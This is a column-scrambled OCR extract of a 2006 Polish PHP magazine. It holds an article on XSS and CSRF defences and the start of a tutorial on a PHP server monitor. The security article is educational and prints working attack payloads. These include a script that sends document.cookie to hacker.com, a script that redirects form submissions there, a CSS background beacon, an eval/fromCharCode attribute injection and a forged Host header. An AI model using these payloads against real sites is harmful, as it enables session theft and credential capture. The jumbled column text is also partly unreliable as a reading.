walidacji, jeśli takowy w ogóle istnieje. stream_set_timeout()
Następnie zapisywany jest plik cookie $fp = fopen($img_url, "r");
w celu śledzenia użytkownika i upewnienia stream_set_timeout($fp, 1);
się, że nikt nie zostanie zaatakowany wię- file_put_contents($destination_path, stream_get_contents($fp));
cej niż raz, dzięki czemu wykrycie ataku fclose($fp);

będzie jeszcze trudniejsze. Ostatnim za-

50 www.phpsolmag.org PHP Solutions Nr 2/2006
XSS, CSRF Bezpieczeństwo

napastnikowi modyfikację treści pomiędzy je dowolny kod HTML osadzony w obra- Najpoważniejszym chyba problemem
żądaniami. Gdyby obraz był sprawdzany zie, co otwiera drogę do ataku XSS i CSRF z pobieraniem pliku z poziomu PHP jest
na podstawie adresu do pliku zdalnego, w przypadku bezpośredniego dostępu do podatność na atak Denial of Service
a dopiero potem pobierany, napastnikowi takiego pliku: (DoS) skierowany przeciwko serwero-
wystarczyłoby proste zliczanie żądań wi. Pobranie pliku przez PHP wymaga
z konkretnego adresu IP, by dla drugiego <GIF89a 8 f > nawiązania połączenia z serwerem, na
żądania podmienić zwracaną treść i tym <html> którym on się znajduje. Jeśli serwer ten
samym umożliwić atak. <head> jest powolny, połączenie się z nim może
Pobranie pliku na maszynę lokalną <script>alert("XSS");</script> nieco potrwać. Podczas nawiązywania
uniemożliwia ewentualną dalszą modyfi- </head> połączenia, proces PHP obsługujący
kację treści po stronie zdalnego serwera. <body></body> żądanie czeka bezczynnie na otwarcie
Wynikiem działania funkcji getimagesize() </html> gniazda. Nie spowoduje to jednak żadne-
jest tablica zawierająca różnego rodzaju go ostrzeżenia, gdyż czekanie nie zużywa
informacje o obrazie. Jeśli w wyniku wy- (Błąd odkrył Marc Ruef, http://www.securi- czasu procesora. Czas oczekiwania jest
wołania tej funkcji nie otrzymamy tablicy, team.com/windowsntfocus/6F100B00EBY. domyślnie ustawiony aż na 60 sekund,
to wiemy, że nie mamy do czynienia html). Tak spreparowany plik obrazu po- co oznacza, że dany proces PHP może
z poprawnym plikiem graficznym. Pierw- zwoliłby na udany atak niezależnie od wa- być niezdatny do użytku nawet przez mi-
szy etapem sprawdzenia poprawności lidacji za pomocą funkcji getimagesize(), nutę. Wystarczy więc nakłonić wszystkie
jest więc upewnienie się, że faktycznie gdyż sprawdza ona jedynie nagłówek pliku, aktywne procesy serwera WWW do po-
mamy do czynienia z obrazem, a drugim który w tym przypadku jest jak najbardziej bierania plików zewnętrznych, by serwer
– sprawdzenie rozmiarów obrazu, by po dopuszczalny. Przypisując plikowi rozsze- stał się niedostępny dla użytkowników.
wstawieniu na stronę nie zepsuł jej układu. rzenie na podstawie typu deklarowanego Większość serwerów dopuszcza nie
W przypadku niepowodzenia jednego ze w nagłówku eliminujemy tę rozbieżność, więcej niż 200 równoczesnych połączeń,
sprawdzeń, podejrzany plik jest usuwany tym samym udaremniając atak. więc dokonanie ataku DoS tą metodą
z dysku, by nie dopuścić do wyczerpania Gdyby była to jedyna trudność zwią- jest zadaniem trywialnym. Na szczęście
miejsca. Ostatnim etapem walidacji jest zana z proponowanym rozwiązaniem, to można temu zaradzić skracając czas
zmiana nazwy pliku i nadanie mu rozsze- zapewne byłoby ono szerzej stosowane. oczekiwania na połączenie do znacznie
rzenia zgodnego z jego typem, by przeglą- Jest jednak kilka innych problemów. Po bezpieczniejszych 2–5 sekund, co wy-
darki mogły poprawnie wyświetlać obraz. pierwsze, lokalne zapisywanie wszyst- maga jedynie zmiany wartości parametru
Niezwykle istotnym jest, by NIE uży- kich plików graficznych może wymagać default_socket_timeout w pliku php.ini.
wać rozszerzenia pobranego z adresu do- bardzo dużo przestrzeni dyskowej, co Modyfikację tę można też wykonać z po-
starczonego przez użytkownika, lecz usta- w przypadku operatorów witryn o ogra- ziomu skryptu – wtedy nowy czas będzie
lić je samodzielnie na podstawie zawarto- niczonych zasobach jest bardzo istotnym dotyczyć wszystkich połączeń nawiązy-
ści pliku – jest to konieczne w celu unik- czynnikiem. Co więcej, udostępnianie wanych przez PHP za pośrednictwem
nięcia niedawno odkrytego błędu w Inter- wszystkich plików graficznych z serwe- API strumieni:
net Explorerze. Usterka ujawnia się w sy- ra może znacznie zwiększyć zużycie
tuacji, gdy rozszerzenie pliku graficznego pasma, a tym samym podnieść koszty // ograniczenie czasu oczekiwania
jest niezgodne z typem wynikającym z na- utrzymania serwera. Częściowym roz- // na połączenie
główka pliku, na przykład gdy plik me.jpg wiązaniem obu trudności jest wprowa- ini_set("default_socket_timeout", 5);
jest w rzeczywistości obrazem GIF. W ta- dzenie ograniczenia wielkości plików,
kiej sytuacji IE robi coś bardzo dziwnego: ale jest to raczej sposób na ominięcie Wykonanie tego polecenia nie rozwiązu-
przetwarza plik w taki sposób, że wykonu- problemu niż jego rozwiązanie. je problemu powolnego pobierania pliku.

R E K L A M A

PHP Solutions Nr 2/2006 www.phpsolmag.org 51
Bezpieczeństwo XSS, CSRF

Dodatkowym utrudnieniem jest fakt, że one też być przeprowadzane innymi nie usuwała, więc na przykład dopuszcze-
strumienie PHP są domyślnie blokują- metodami, które pod pewnymi względa- nie znaczników pogrubienia i kursywy wy-
ce, czyli raz otwarty strumień będzie do mi są znacznie bardziej nieprzyjemne, magałoby wywołania strip_tags($test,
skutku czekał na nadesłanie danych ze a w dodatku trudniejsze do wykrycia. "<b><i>"). Mechanizm prosty i bezpiecz-
zdalnego serwera, gdyż nie ma tu żad- Jedną z dróg ataku jest wykorzystanie ny – tylko czy aby na pewno?
nego domyślnego czasu oczekiwania. atrybutu CSS background, pozwalającego Niestety, nie jest to podejście bezpiecz-
Sytuacja nie jest jednak beznadziejna określić plik graficzny używany jako tło ne. Funkcja strip_tags() przepuszcza
dzięki funkcji stream_set_timeout(), po- dla elementu strony. Jak umieścić taki każdy dopuszczony znacznik w całości,
zwalającej ustawić czas oczekiwania dla atrybut w kodzie? Sposób jest znacznie wraz ze wszelkimi atrybutami zapisany-
strumienia (Listing 5). Funkcja ta operuje prostszy, niż mogłoby się wydawać, mi w jego obrębie. Napastnik nie może
jednak bezpośrednio na strumieniu, więc a w dodatku dość często spotykany. Pro- wprawdzie wstawiać własnych tagów, ale
musimy zmodyfikować kod pobierający blem tkwi w tym, że wiele aplikacji PHP za to może umieszczać dowolne atrybuty
plik tak, by nie korzystał z opakowującej pozwala użytkownikom określać sposób w znacznikach dopuszczanych przez apli-
obsługę strumienia funkcji file_get_ wyświetlania wprowadzanych danych, kację. Specyfikacja W3C nie przewiduje dla
contents(). dopuszczając stosowanie w tekście pro- znaczników w rodzaju <b> czy <i> obsługi
Nowy kod pobierający plik nakazuje stych znaczników formatujących HTML, atrybutu stylu określającego tło elementu,
PHP czekać na nadesłanie danych z gniaz- na przykład pogrubienia <b>, kursywy ale nie ma to większego znaczenia, gdyż
da nie dłużej niż przez sekundę. Wy- <i> i tym podobnych. Implementacja ta- większość przeglądarek i tak obsługuje
korzystanie trzeciego argumentu funkcji kiego rozwiązania często bywa kłopotli- takie atrybuty. Możemy więc wykorzystać
stream_set_timeout() pozwala określić je- wa. W wielu przypadkach dopuszczenie sztuczki pokazane przy okazji ataku po-
szcze krótszy czas, mierzony w mikro- znaczników formatujących odbywa się przez znacznik <img> – wystarczy wybrać
sekundach – na przykład wywołanie z wykorzystaniem nieobowiązkowego sobie dozwolony znacznik i wpisać w nim
stream_set_timeout($fp,0,250000); argumentu funkcji strip_tags(), pozwa- atrybut stylu o treści na przykład takiej:
spowodowałoby ustawienie czasu oczeki- lającego wyłączać z procesu usuwania ta- "background: url('http://hacker.com/
wania na ćwierć sekundy. Jednak nawet gów określone, z założenia nieszkodliwe me.jpg')". Listing 6 przedstawia kod wyko-
w przypadku starannego dobrania czasów znaczniki. Dzięki temu programista, który rzystujący ten zabieg.
oczekiwania nadal istnieje droga ataku: chce pozwolić użytkownikom na stosowa- Ataki tego typu są o tyle nieprzyjemne,
napastnik musi jedynie wysyłać dane nie znaczników formatujących, może na- że brakujący obrazek będzie w przeglądar-
bardzo powoli, na przykład w tempie 5 kazać funkcji, by tych akurat znaczników ce wyświetlany jako tekst czy ikona, przez
bajtów na sekundę, tylko na tyle często, by
uniknąć przekroczenia czasu oczekiwania. Listing 6. Przykład niebezpiecznych stylów CSS
W przypadku obrazu wielkości 20 kilobaj-
tów pozwoliłoby to zająć serwer na 68 se- $text = '<b style="background: url(\'http://hacker.com/me/.jpg\')">TEST</b>';
kund, a większe pliki mogłyby oczywiście
// wypisuje tekst wraz z formatowaniem
zajmować dużo dłużej. echo strip_tags($text, "<b><i>");
Niestety, tego typu atakowi w praktyce
nie da się zapobiec, gdyż wprowadzenie Listing 7. Atak XSS na typowe pole wyszukiwarki
obrony przed nim wymaga od programi-
// kod PHP
stów znacznie więcej czasu i wysiłku, niż
<input type="text" name="s" value="<?php echo $_POST['q']; ?>" />
są na ogół w stanie zainwestować. Roz-
wiązanie polegałoby na pobieraniu obrazu // wynikowy kod HTML po modyfikacji
we fragmentach jednobajtowych i ciągłym <input type="text" name="s" value=""> TEKST XSS <"" />
monitorowaniu szybkości transmisji, co po-
zwoliłoby odrzucać połączenia wolniejsze Listing 8. Przykładowy ciąg atakujący XSS
od pewnego ustalonego minimum. Wyma- <script>
gałoby to zużycia nieporównanie większej var r = new XMLHttpRequest();
mocy obliczeniowej serwera do pobrania
tych samych danych. r.open('get', 'http://hacker.com/?'+document.cookie);
r.send(null);
Podsumowując ataki wykorzystujące
pliki graficzne – jedynym stuprocentowym </script>
rozwiązaniem jest uniemożliwienie użyt-
kownikom dostarczania własnej grafiki. Listing 9. Atak XSS na formularze
Wszystkie inne zabezpieczeniautrudniają
<script>
przeprowadzanie tego typu ataków, ale
z pewnością im nie zapobiegają. for (i=0; i<document.forms.length; i++)
document.forms[i].action='http://hacker.com/x.php?'+ document.forms[i].action;
Niebezpieczne atrybuty CSS
</script>
Znacznik <img> jest wprawdzie najczęst-
szym sprawcą ataków CSRF, ale mogą

52 www.phpsolmag.org PHP Solutions Nr 2/2006
Bezpieczeństwo XSS, CSRF

co łatwiej zauważyć, że coś jest nie w po- Wyłom poczyniony przez udany atak Inna sztuczka nadaje się dobrze do
rządku, ale brakującego tła nie widać, co XSS może również posłużyć do przepro- atakowania stron pobierających od użyt-
znacznie utrudnia wykrycie ataku. wadzenia w następnej kolejności ataku kownika informacje za pomocą formularzy,
Mam nadzieję, że ten przykład poka- CSRF, więc śmiało można powiedzieć, na przykład stron logowania czy też formu-
zał wystarczająco dobitnie, dlaczego nie że XSS jest atakiem o nieograniczonych larzy z żądaniem informacji o rozliczeniach
należy realizować obsługi znaczników niemal możliwościach i stanowi poważne w witrynach związanych z handlem elektro-
formatujących z wykorzystaniem funkcji zagrożenie. Co gorsza, podatność na nicznym. W tym przypadku ciąg atakujący
strip_tags(). Bezpieczniejszym roz- ataki XSS jest niezwykle powszechnym może posłużyć do takiej modyfikacji właści-
wiązaniem byłoby zaimplementowanie problemem. Kilka tygodni temu okazało wości action formularzy, by przesyłały one
podzbioru tagów BBcode, które nie obsłu- się, że nawet nowe serwisy takich gi- zgłaszane dane do innej witryny.
gują atrybutów. BBcode dostarcza zestaw gantów, jak Google i Yahoo! są podatne Skrypt XSS przedstawiony na Listingu
znaczników formatujących bardzo podob- na takie ataki, a zgłoszenia pojawiające 9 modyfikuje właściwość action wszyst-
nych do tagów HTML-owych, ale prze- się codziennie na listach dyskusyjnych kich formularzy na danej stronie zgodnie
znaczonych wyłącznie do ograniczonego poświęconych bezpieczeństwu dowodzą z zamysłem napastnika, dzięki czemu
formatowania. Znaczniki wprowadzane istnienia podobnych problemów w bar- informacje podane przez użytkownika nie
przez użytkowników są konwertowane dzo wielu aplikacjach. trafią na zamierzoną stronę, tylko do intru-
na kod HTML, dzięki czemu można dać W większości przypadków błędy za. Bardziej pomysłowy złoczyńca zadba
użytkownikom możliwość formatowania umożliwiające atak XSS nie są specjalnie nie tylko o przechwycenie istotnych da-
tekstu bez otwierania drogi atakowi XSS głęboko ukryte – nierzadko podatna na nych, lecz również o ukrycie śladów ataku
czy CSRF. Oczywiście nie trzeba w tym ten atak bywa nawet wyszukiwarka na poprzez przekierowanie tych danych tam,
celu pisać własnego parsera, gdyż istnieją głównej stronie popularnego serwisu. Gdy gdzie powinny były trafić. Służy do tego
odpowiednie narzędzia tego typu. Dosko- użytkownik wprowadza tekst do wyszuka- tymczasowe przekierowanie:
nale nadaje się do tego celu klasa PEAR nia, zapytanie jest wyświetlane na stronie
o nazwie HTML_BBCodeParser, dostępna wyników, najczęściej w postaci gotowej log_data($_GET, $_POST);
pod adresem http://pear.php.net/package/ wartości pola <input>, by ułatwić zmianę header("HTTP/1.0 307 Moved Permanently");
HTML_BBCodeParser. Inną możliwością kryteriów wyszukiwania. Przeprowadzenie header("Location: ".$_SERVER['QUERY_STRING']);
jest dopuszczenie znaczników HTML i wy- ataku XSS jest możliwe przy braku wali-
korzystanie funkcji z pakietu SafeHTML dacji takiego pola. Wykorzystanie podat- Zgodnie ze specyfikacją, przekierowanie
(http://pixel-apes.com/safehtml), usuwa- ności bywa banalnie proste – wystarczy żądania POST powinno być potwierdzone
jących z przekazanego tekstu wszelkie w wyszukiwarce podać ciąg "> TEKST przez użytkownika – odpowiednie okno
niebezpieczne elementy i atrybuty HTML. XSS <", gdzie TEKST XSS zawiera dowolne dialogowe wyświetla Firefox. Wyświetlany
Do przeprowadzenia ataku CSRF dane, które mają być wstawione na stro- komunikat nie jest jednak zbyt czytelny,
można wykorzystać nie tylko sztuczki nę. Początkowe znaki "> mają na celu więc wielu użytkowników odruchowo kliknie
z podstawionymi obrazkami w znacznikach zakończenie znacznika <input>, którego opcję twierdzącą, a nawet jeśli tego nie
<img> i atrybutach tła, ale w także dowolny atrybut wartości zawiera treść zapytania, uczynią, to szkoda i tak została już wyrzą-
inny znacznik, którego przetwarzanie wiąże natomiast końcowe znaki <" domykają dzona, gdyż napastnik uzyskał wysłane
się z automatycznym pobieraniem wska- pozostałą część znacznika (Listing 7). dane. Prawdziwą gratką dla intruza jest
zanego zasobu. Tagi w rodzaju <iframe> Jeśli taki atak się powiedzie, napast- w tym przypadku Internet Explorer, który
czy <script> są na ogół bezpieczne, gdyż nik może niemal dowolnie modyfikować kompletnie ignoruje specyfikację i dokonuje
są one z natury statyczne i niedostępne zawartość strony. Mógłby na przykład przekierowania bez żadnego ostrzeżenia,
dla użytkownika. Jeśli jednak możliwe jest pozyskać plik cookie należący do innego w efekcie całkowicie ukrywając fakt prze-
uzyskanie do nich dostępu za pośrednic- użytkownika – wystarczyłoby zastąpić ciąg słania żądania POST za pośrednictwem
twem niesprawdzonej zmiennej, mogą TEKST XSS kodem z Listingu 8. strony nieuprawnionej. Z punktu widzenia
one stanowić nie mniejsze zagrożenie od Wstawiane dane to w tym przy- użytkownika wygląda to po prostu tak,
mechanizmów opisanych wcześniej. padku króciutki skrypt w JavaScripcie, jakby cała operacja została wykonana
zgłaszający żądanie HTTP do witryny pomyślnie, gdyż wszystko działa i nie
Teraz XSS wybranej przez hakera i przesyłający do jest zgłaszany żaden problem. Cały atak
Ataki CSRF polegają na wykorzystaniu niej nazwy i zawartość wszystkich plików odbywa się poprzez przekierowania, więc
istniejących lub legalnie wprowadzanych cookie aktualnie ustawionych dla pe- zawartość nagłówka HTTP_REFERER nie jest
elementów strony do złośliwych celów, chowego użytkownika. Napastnik może aktualizowana i wykrycie ataku podczas
natomiast celem ataku XSS jest omi- zapisać kopie tych plików na własnym jego trwania nie jest możliwe.
nięcie procesu walidacji i tym samym komputerze i tym samym uzyskać takie Zdarzają się też aplikacje, których
umożliwienie napastnikowi wstawienia prawa dostępu, jak zalogowany w ser- twórcy nie docenili możliwości ataków XSS
na stronę dowolnych treści. Podstawio- wisie użytkownik. Wykorzystana w tym i wprowadzili podstawowe, lecz niedosta-
ne w ten sposób dane mogą służyć do przykładzie funkcja XMLHttpRequest() teczne zabezpieczenia. Nierzadko bywa
wyłudzenia od użytkownika poufnych jest obsługiwana tylko przez Mozilla tak, że niezbędne do wstawienia znacznika
informacji, wykonania określonych ope- Firefox, ale IE udostępnia równoważną znaki <, " i > są bezpiecznie kodowane
racji z uprawnieniami zalogowanego funkcję ActiveXObject("Microsoft.XMLH odpowiednio jako entytki &gt;, &quot;
użytkownika i tym podobnych działań. TTP") o identycznym działaniu. i &lt;, lecz znak apostrofu pozostaje

54 www.phpsolmag.org PHP Solutions Nr 2/2006
XSS, CSRF Bezpieczeństwo

nietknięty. Jest to typowy efekt korzysta- nic nie robi w kwestii cudzysłowów i apo- GET / HTTP/1.0
nia z domyślnych ustawień funkcji PHP strofów, co w przypadku bezpośredniego Host: <script>...
htmlspecialchars() i htmlentities(), poz- wykorzystania wprowadzanych danych
walających zakodować znaki specjalne otwiera drogę do ataku ze wstawieniem Efekt jest taki, że $_SERVER['HTTP_HOST']
jako odpowiadające im encje HTML. atrybutów. Poprawna walidacja polega zawiera teraz wartość <script>...
Problem niekodowanych apostrofów jest na wykonaniu funkcji strip_tags(), a na- lub inne, znacznie bardziej szkodliwe
taki, że atrybuty umieszczane w obrębie stępnie przetworzeniu wyniku jej działa- dane. Podobne sztuczki można stoso-
znaczników HTML (i potencjalnie wypełnia- nia za pomocą htmlspecialchars() lub wać w przypadku innych nagłówków,
ne danymi wprowadzanymi przez użyt- htmlentities(): na przykład Via (zmienna HTTP_VIA)
kownika) mogą być ujęte właśnie w apo- czy X-Forwarded-For (zmienna HTTP_
strofy. Napastnik może wykorzystać je do // poprawna walidacja X_FORWARDED_FOR), używanych przez
domknięcia istniejącego atrybutu i dopisania $text = htmlspecialchars( serwery pośredniczące do wskazywania
własnego. Moglibyśmy na przykład spróbo- strip_tags($_POST['msg']), użytkownika, od którego pochodzi żą-
wać wstawić atrybut onMouseOver, który ENT_QUOTES); danie. Zamiast adresu lub listy adresów
wywoływałby zdarzenie JavaScriptu w mo- IP, napastnik może zapisać w tych na-
mencie najechania myszą na zaatakowany Tak sprawdzone dane są odporne na atak główkach dowolne dane, które zostaną
element strony. Tworząc kod służący do i można je bezpiecznie zapisać na dysku wykonane przez każdy bez wyjątku
przeprowadzenia ataku musimy jedynie lub wyświetlić w przeglądarce użytkownika. serwer WWW. Jedynym bezpiecznym
pamiętać o unikaniu znaków kodowanych Kluczową sprawą jest walidacja nagłówkiem jest chyba REMOTE_ADDR, który
i używaniu apostrofu jako znaku obej- wszystkich danych wejściowych, nie- przechowuje adres IP użytkownika, gdyż
mującego wartości atrybutów. Może się zależnie od ich pochodzenia. Typowym jest on ustawiany przez serwer i może
to wydawać nieco skomplikowane, ale błędem jest filtrowanie jedynie danych zawierać wyłącznie poprawny adres.
w rzeczywistości przeprowadzenie takiego otrzymywanych za pośrednictwem żądań Wszystkie inne wartości pobierane z na-
ataku jest trywialne dzięki dwóm funkcjom GET i POST oraz plików cookie, a po- główków trzeba zawsze dokładnie spraw-
JavaScriptu: String.fromCharCode(), mijanie walidacji danych pobieranych ze dzać przed wykorzystaniem.
pozwalającej zamienić listę kodów ASCII zmiennych środowiskowych serwera za
na łańcuch złożony z odpowiadających im pośrednictwem nadrzędnej zmiennej glo- Podsumowanie
znaków, oraz eval(), wykonującej kod zapi- balnej $_SERVER. Niektórzy programiści Ten krótki przegląd możliwości ataków XSS
sany w przekazanym jej łańcuchu znaków. zapominają, że zmienne środowiskowe i CSRF pokazał, że stanowią one jak naj-
Aby po najechaniu myszą na zaatakowany są wprawdzie pobierane bezpośrednio bardziej realne zagrożenie i trzeba się
element pojawiał się komunikat JavaScrip- z serwera, ale ich wartości są często przed nimi bronić. Zabezpieczenie aplika-
tu o treści XSS, wystarczy wstawić do ustalane na podstawie danych dostar- cji i serwerów przed atakami nie jest trud-
wartości dowolnego z atrybutów elementu czonych przez użytkownika, a więc mo- ne, więc bezpieczeństwo Twojego serwera
następujący ciąg: gą stanowić takie samo zagrożenie, jak spoczywa wyłącznie w Twoich rękach. Kie-
informacje pobierane bezpośrednio. Co rując się kilkoma prostymi zasadami moż-
' onMouseOver='eval(String.fromCharCode więcej, dane te są często wyświetlane na znacznie ograniczyć ryzyko nieautory-
(97,108,101,114,116,40,39,88,83,83,39, w panelach administracyjnych w razie zowanego dostępu do danych i spowodo-
41,59))' ' wystąpienia błędu, przez co są o tyle bar- wanych nim strat. 
dziej niebezpieczne, że ich ofiarą może
Początkowy apostrof zamyka otwarty atry- paść użytkownik o rozszerzonych upraw-
but, a ostatni otwiera następny, by uniknąć nieniach (administrator). Jeden z moż-
błędu parsowania HTML. Treść wstawio- liwych ataków tego typu wykorzystuje
na pomiędzy apostrofami zawiera nowy wartość zmiennej HTTP_HOST, zawierającej O autorze
atrybut, którego wartością jest kod Java- nazwę domeny, w której znajduje się ak-
Ilia Alshanetsky jest głównym architek-
Scriptu wykonujący za pomocą funkcji tualnie przetwarzana strona. Wydaje się,
tem oprogramowania w firmie Advanced
eval() polecenie alert('XSS'); złożone że wartość ta powinna być bezpieczna Internet Designs Inc., specjalizującej się
z przekazanych kodów ASCII. – napastnik nie może chyba zmienić na- w audytach bezpieczeństwa, analizach
Aby uniknąć tego zagrożenia, na- zwy domeny? To niezupełnie tak. Wartość wydajności i tworzeniu aplikacji. Jest
twórcą FUDforum (http://fudforum.org)
leży zawsze pamiętać o przekazywa- zmiennej jest pobierana z nagłówka Host
stworzonego z myślą o połączeniu roz-
niu ENT_QUOTES jako wartości drugiego dostarczanego przez hosta zgłaszające- budowanych możliwości z wydajnością
argumentu funkcji htmlspecialchars() go żądanie. Jeśli witryna ma własny ad- i wysokim poziomem bezpieczeństwa.
i htmlentities(), co spowoduje przeko- res IP lub podstawowy (pierwszy) adres Ilia należy do głównego zespołu progra-
mistów PHP i uczestniczył w tworzeniu
dowanie apostrofów na odpowiadającą im z puli wirtualnych adresów IP, żądanie ze
rozszerzeń między innymi dla SHMOP,
encję HTML &#039;. spreparowaną wartością tego nagłówka PDO, SQLite, GD i ncurses. Czynnie
Pokrewnym błędem walidacji jest zostanie poprawnie przetworzone przez uczestniczy w pracach zespołu kontroli
zabezpieczanie treści dostarczanych serwer Apache. Oznacza to, że żądanie jakości PHP i ma na koncie setki popra-
wionych błędów, jak również sporo popra-
przez użytkownika wyłącznie za pomocą strony z takiej witryny można sfałszować,
wek wydajnościowych i nowych funkcji.
funkcji strip_tags(). Funkcja ta bardzo tym samym umieszczając dowolne dane Kontakt z autorem: ilia@prohost.org
skutecznie usuwa znaczniki HTML, ale w zmiennej HTTP_HOST:

PHP Solutions Nr 2/2006 www.phpsolmag.org 55
Projekty

Piszemy monitor serwera w PHP
Stopień trudności: 
Patrick O'Brien

Wydaje nam się, że jeśli jeden z naszych
serwerów ulegnie awarii, ktoś bardzo szybko
nas o tym poinformuje. W rzeczywistości
nic takiego się nie wydarzy, ponieważ każdy
przyjmuje, że sami dbamy o swój sprzęt
i właśnie jesteśmy w trakcie przywracania
funkcjonowania systemu.

A
by rozwiązać ten problem, stwo- le możliwości, ale my wykorzystamy starą,
rzymy własny system monitorowa- dobrą komendę ping, którą wywołamy
nia serwera – nazwiemy go Server korzystając z wbudowanej do PHP funkcji
Monitoring System. Jego zadaniem będzie shell_exec(). Nasz kod PHP będzie ją
pingowanie naszych serwerów, sprawdzał więc wykonywał jako polecenie powłoki
ich dostępności i wyświetlanie danych (patrz Listing 1).
w czasie rzeczywistym, w postaci wykresu.
Zbieranie
Podstawowe założenia i przetwarzanie danych
Sprecyzujmy najpierw nasze wymagania z polecenia ping
dotyczące systemu: Za pomocą polecenia ping można uzy-
skać całkiem sporo informacji, nas jednak
W SIECI  możliwość testowania wielu serwerów, interesuje wyłącznie to, czy i jak szybko
 przechowywanie wyników w dogod- serwer odpowiedział na pingowanie. Ozna-
nym miejscu, cza to, że w zwróconym przez funkcję
1. http://www.jpowered.com/
php-scripts/php-gd.htm
 regularne wykonywanie testów i od- shell_exec() łańcuchu $command musimy
– opis instalacji biblioteki GD świeżanie rezultatów,
dla silnika PHP
 wyświetlanie wyników ostatniego testu
2. http://www.boutell.com/gd/ Co powinieneś wiedzieć...
– strona domowa biblioteki każdego z serwerów, Powinieneś znać podstawy modułu GD.
GD  wyświetlanie rezultatów w czasie rze-
3. http://www.jpowered.com/
php-scripts/adv-graph-chart/ czywistym – wykres liniowy. Co obiecujemy...
index.htm – zaawansowana Dowiesz się jak stworzyć działającą
kolekcja wykresów i diagra- aplikację do monitorowania serwera ko-
mów w PHP (zbiór gotowych
Zacznijmy od problemu kluczowego: spo- rzystającą z GD.
funkcji graficznych PHP) sobu testowania serwerów. Istnieje tu wie-

56 www.phpsolmag.org PHP Solutions Nr 2/2006
ServerMonitor Projekty

poszukać tylko kilku danych. Po pierwsze,
należy sprawdzić, czy w łańcuchu tym Wymagania
znajduje się świadczący o braku odpowie- Serwer WWW z uruchomionym PHP i aktywnym modułem graficznym GD.
dzi serwera ciąg Request timed out. Po
Instalacja i testowanie systemu
drugie, powinniśmy uzyskać dane o czasie Aby zainstalować system, należy rozpakować archiwum zawierające dwa pliki – line-
odpowiedzi serwera – czyli poszukać łań- graph.php oraz ping.php. Następnie trzeba stworzyć plik tekstowy o nazwie ips.txt i umie-
cucha time=. Na Listingu 2 zamieszczamy ścić w nim adresy serwerów, które chcemy monitorować. Wszystkie pliki powinny się
kod PHP służący do wykonania testów znajdować w tym samym katalogu. Potem wystarczy otworzyć przeglądarkę i wpisać
adres pliku ping.php. Jeśli operacja się powiodła, serwery będą pingowane co 2 sekundy,
i wydobycia potrzebnych danych. a wykres liniowy będzie automatycznie aktualizowany.
Teraz musimy poinformować nasz
skrypt o tym, które serwery należy te- Moduł graficzny GD
stować. Najłatwiejszym sposobem wy- Moduł GD Graphics jest dołączany do wszystkich wersji PHP, począwszy od 4.3. Dzia-
ła on także z wcześniejszymi wersjami PHP, ale by z niego skorzystać, należy w takim
konania tego zadania jest pobranie listy wypadku przeprowadzić instalację ręczną. W celu sprawdzenia, czy moduł GD Graphics
adresów IP z pliku. Skrypt przetestuje więc jest dostępny, wystarczy skorzystać z funkcji phpinfo(). Powinna ona zwrócić tabelę za-
wszystkie adresy IP, które znajdzie w pliku wierającą pełną listę ustawień systemowych i środowiskowych, wśród których powinniśmy
tekstowym ips.txt. Na Listingu 3 prezentu- odszukać sekcję o tytule GD. Znajduje się tam zmienna GD Support, która może przyjąć
jedną z dwóch wartości, informującą o włączonym bądź wyłączonym module (enabled
jemy kod PHP umożliwiający załadowanie albo disabled). Jeśli Twoja instalacja PHP nie posiada sekcji GD, to moduł nie jest zain-
adresów IP do naszego skryptu. stalowany.

Przechowywanie Jak zainstalować GD
Instalacja biblioteki GD w środowisku Windows jest bardzo prosta. Wystarczy pobrać plik
wyników php_gd2.dll lub php_gd.dll ze strony http://php.net/download.php, skopiować go do pod-
Wyniki będziemy przechowywać w pliku katalogu ext w katalogu z zainstalowanym PHP, a następnie dodać linię extension=php_
tekstowym pingresult.txt. Choć dla niektó- gd2.dll (lub extension=php_gd.dll) do sekcji Extension pliku php.ini (lub usunąć rozpo-
rych taki sposób może być kontrowersyjny czynający ją znak komentarza). Moduł GD będzie dostępny po ponownym uruchomieniu
serwera WWW.
(będą twierdzić, że baza danych byłaby
W środowisku Linux sytuacja jest nieco bardziej skomplikowana. Jeżeli nie chcemy
lepszym rozwiązaniem), umożliwia on aktualizować parsera PHP, musimy pobrać archiwum zawierające GD ze strony http://
zachowanie prostoty i uniwersalności
skryptu, tak aby mógł być uruchamiany na
prawie każdej maszynie – niezależnie od końcu pliku. Każdy wynik wymaga zapisa- Każdy wiersz pliku wyników będzie zawie-
tego, czy dostępne są na niej inne narzę- nia trzech informacji: rał wszystkie trzy informacje oddzielone
dzia poza PHP. przecinkami. Na Listingu 4 pokazujemy
Za pomocą naszej funkcji pingującej  adres IP, odpowiadający za to kod PHP.
sprawdzimy, czy plik pingresult.txt istnieje  czas odpowiedzi serwera (w milise- Teraz możemy odczytać listę adresów
i jeśli go nie ma, utworzymy go. Wyniki kundach), IP do testowania, wykonać polecenie ping
najnowszego testu będą dodawane na  data i czas przeprowadzenia testu. dla każdego z nich i zapisać wyniki. Na-
sza funkcja pingująca jest gotowa (patrz
Listing 5).

Odświeżanie danych
Następny dylemat dotyczy sposobu wyko-
nywania regularnych testów serwerów – tu
też mamy kilka możliwości. Dla użytkowni-
ków systemów Linux/UNIX najbardziej
oczywistym wyborem byłoby zapewne
umieszczenie odpowiedniego polecenia
w kolejce demona cron. Nasz skrypt ma
być jednak przenośny, musi więc działać
poprawnie także w systemach, w których
cron jest niedostępny (np. MS Windows).
Jak więc rozwiążemy ten problem? Nasz
Server Monitoring System będzie aplikacją
webową, będziemy więc po prostu wywo-
ływać funkcję testującą za każdym razem,
gdy otwierana jest strona z wynikami.
Strona ta będzie zawierała obrazek
z wykresem i trochę kodu JavaScript.
Rysunek 1. Strona wyników zawierająca wykres Obrazek będzie generowany przez

PHP Solutions Nr 2/2006 www.phpsolmag.org 57
Projekty ServerMonitor

moduł GD, który jest często stosowany Listingu 6 prezentujemy użyty przez nas (patrz Listing 7). Ten sam skrypt będzie
w komputerowej obróbce grafiki pod kod JavaScript. Jak widać, odświeża on zresztą generował stronę z wynikami
PHP. Moduł ten jest domyślnie włączony tylko stronę w X-sekundowych odstępach. przez wywołanie innej funkcji o nazwie
we wszystkich wersjach PHP nowszych Wartość X ustawiliśmy na 2000 milisekund results_table(). Strona będzie się skła-
niż 4.3. (2 sekundy). dała z małej tabeli w HTML-u, zawierają-
Natomiast kod JavaScript posłuży do Nasza funkcja pingująca będzie nosiła cej wyniki ostatniego testu ping każdego
regularnego wykonywania funkcji i aktuali- nazwę ping_function(). Będzie wywo- z serwerów (patrz Listing 8).
